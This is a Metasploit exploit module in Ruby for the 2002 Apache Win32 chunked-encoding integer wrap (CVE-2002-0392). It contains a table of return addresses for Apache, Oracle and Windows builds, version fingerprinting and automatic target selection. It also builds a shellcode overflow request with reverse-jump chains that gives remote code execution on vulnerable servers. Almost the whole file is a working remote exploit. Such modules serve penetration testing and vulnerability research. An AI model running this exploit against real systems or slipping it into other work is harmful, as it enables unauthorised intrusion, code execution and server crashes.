##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  HttpFingerprint = { :pattern => [ /Apache/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Win32 Chunked Encoding',
        'Description' => %q{
          This module exploits the chunked transfer integer wrap
          vulnerability in Apache version 1.2.x to 1.3.24. This
          particular module has been tested with all versions of the
          official Win32 build between 1.3.9 and 1.3.24. Additionally,
          it should work against most co-branded and bundled versions
          of Apache (Oracle 8i, 9i, IBM HTTPD, etc).

          You will need to use the Check() functionality to determine
          the exact target version prior to launching the exploit. The
          version of Apache bundled with Oracle 8.1.7 will not
          automatically restart, so if you use the wrong target value,
          the server will crash.
        },
        'Author' => [ 'hdm', 'jduck' ],
        'References' => [
          [ 'CVE', '2002-0392' ],
          [ 'OSVDB', '838'],
          [ 'BID', '5033' ]
        ],
        'Privileged' => true,
        'Platform' => 'win',
        'Payload' => {
          'Space' => 987,
          'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
          'MinNops' => 200,
          'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",

        },
        'Targets' => [
          [ 'Windows Generic Bruteforce', {} ],

          # Official Apache.org win32 builds
          [
            'Apache.org Build 1.3.9->1.3.19',
            {
              'Ret' => 0x00401151,
              'Pad' => [6, 2, 0, 4, 1, 3, 5, 7]
            }
          ],
          [
            'Apache.org Build 1.3.22->1.3.24',
            {
              'Ret' => 0x00401141,
              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
            }
          ],
          [
            'Apache.org Build 1.3.19->1.3.24',
            {
              'Ret' => 0x6ff6548d,
              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
            }
          ],
          [
            'Apache.org Build 1.3.22',
            {
              'Ret' => 0x6ff762ac,
              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
            }
          ],

          # Return to Win9xConHook.dll via call ebx
          [
            'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
            {
              'Ret' => 0x1c0f13e5,
              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
            }
          ],

          # Return to Win9xConHook.dll via call esi
          [
            'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
            {
              'Ret' => 0x1c0f1033,
              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
            }
          ],

          # Interesting return to PEB trick for Windows 2003 systems...
          [
            'Windows 2003 English SP0',
            {
              'Ret' => 0x7ffc0638,
              'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]
            }
          ],

          # Pop/Pop/Return on Windows 2000
          [
            'Windows 2000 English',
            {
              'Ret' => 0x75022ac4,
              'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]
            }
          ],

          # Oracle HTTPD: [ 8.1.7 ] (one shot)
          # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
          # OpenSSL/0.9.5a mod_perl/1.24
          [
            'Oracle 8.1.7 Apache 1.3.12',
            {
              'Ret' => 0x1d84d42c,
              'Pad' => [7]
            }
          ],

          # Oracle HTTPD: [ 9.1.0 ] (multiple shots)
          # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
          # OpenSSL/0.9.5a mod_perl/1.24
          [
            'Oracle 9.1.0 Apache 1.3.12',
            {
              'Ret' => 0x10016061,
              'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]
            }
          ],

          # Oracle HTTPD: [ 9.2.0 ] (multiple shots)
          # Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
          # mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
          # mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
          [
            'Oracle 9.2.0 Apache 1.3.22',
            {
              'Ret' => 0x6ff6427a,
              'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]
            }
          ],

          # Generic debugging targets
          [
            'Debugging Target',
            {
              'Ret' => 0xcafebabe,
              'Pad' => [0, 1, 2, 3, 4, 5, 6, 7]
            }
          ]
        ],
        'DisclosureDate' => '2002-06-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    response = send_request_raw({ 'uri' => '/' }, 5)
    if response.nil?
      vprint_status("No response to request")
      return Exploit::CheckCode::Unknown
    end

    http_fingerprint({ :response => response })  # Custom Server header matching

    code = Exploit::CheckCode::Appears

    case response['Server']
    when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
      vprint_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
    when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
      vprint_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
    when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
      vprint_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
    when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
      vprint_status("IBM backported the patch, this system is not vulnerable")
      code = Exploit::CheckCode::Safe
    when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
    else
      code = Exploit::CheckCode::Safe
    end

    vprint_status("Server: #{response['Server']}")

    return code
  end

  def auto_target
    response = send_request_raw({ 'uri' => '/' }, 5)
    if response.nil?
      print_error("No response to request")
      return targets_to_try
    end

    http_fingerprint({ :response => response })  # Custom Server header matching / automatic target selection

    targets_to_try = []
    server_hdr = response['Server']
    print_status("Server: #{server_hdr}")

    case server_hdr
    when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
      targets_to_try.push(targets[9])

    when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
      targets_to_try.push(targets[10])

    when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
      targets_to_try.push(targets[11])

    when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
      # fall through

    else
      # check for apache version ranges
      if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/)
        version = $1

        # print_status("Apache version: #{version}")
        ver = version.split('.')
        if (ver.length == 3)
          major = ver[0].to_i
          minor = ver[1].to_i
          rev = ver[2].to_i
          if (major == 1 and minor == 3)
            targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)
            targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)
            targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)
            targets_to_try.push(targets[4]) if (rev == 22)

            # Add the remaining targets, regardless of quality...
            if (server_hdr =~ /Win32/)
              # targets 4, 5, 6, 7
              if (rev >= 17 and rev <= 24)
                targets_to_try.push(targets[5])
                targets_to_try.push(targets[6])
              end
              targets_to_try.push(targets[7])
              targets_to_try.push(targets[8])
            end
          end
          # Version 1.0 - 1.2, Fall through...
        end
        # ServerTokens setting isn't giving up enough information ...  Might need to try?
      end
      # Not Apache?  Fall through...
    end

    targets_to_try
  end

  #
  # If auto, ask the auto_target function for a list of
  # targets to try...
  #
  # If not auto, just try the selected target.
  #
  def exploit
    if target_index == 0
      targs = auto_target
      print_status("Auto-targeting returned #{targs.length} candidates...")
      targs.each_with_index { |targ, idx|
        # Never try the debug target automatically :)
        next if targ.name =~ /Debug/

        exploit_target(targ)
      }
    else
      exploit_target(target)
    end
  end

  def exploit_target(target)
    target['Pad'].each { |pad|
      pattern =
        rand_text_alphanumeric(3936) +
        payload.encoded +
        make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
        rand_text_alphanumeric(pad)

      # Move slightly further back to allow padding changes
      pattern +=
        "\xeb\xf0\xde\xad" +
        [target.ret].pack('V')

      # Create a chain of return addresses and reverse jumps
      254.times { |x|
        pattern +=
          "\xeb\xf6\xbe\xef" +
          [target.ret].pack('V')
      }

      # Even out the request length based on the padding value
      # This is required to reliably hit the return address offset
      pattern += rand_text_alphanumeric(8 - pad)

      #
      # Regardless of what return we hit, execution jumps backwards to the shellcode:
      #                                   _______________ _______________ ___________
      #       _________    _____________  | ________    | | ______      | | ______
      #       v       |    v           |  v v      |    | v v    |      | v v    |
      # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
      #

      print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")

      # Build the request
      send_request_raw({
        'uri' => '/',
        'headers' =>
          {
            'Transfer-Encoding' => "CHUNKED"
          },
        'data' => "FFFFFFF0 " + pattern,
      }, 2)

      # Check the handler
      handler
    }
  end
end
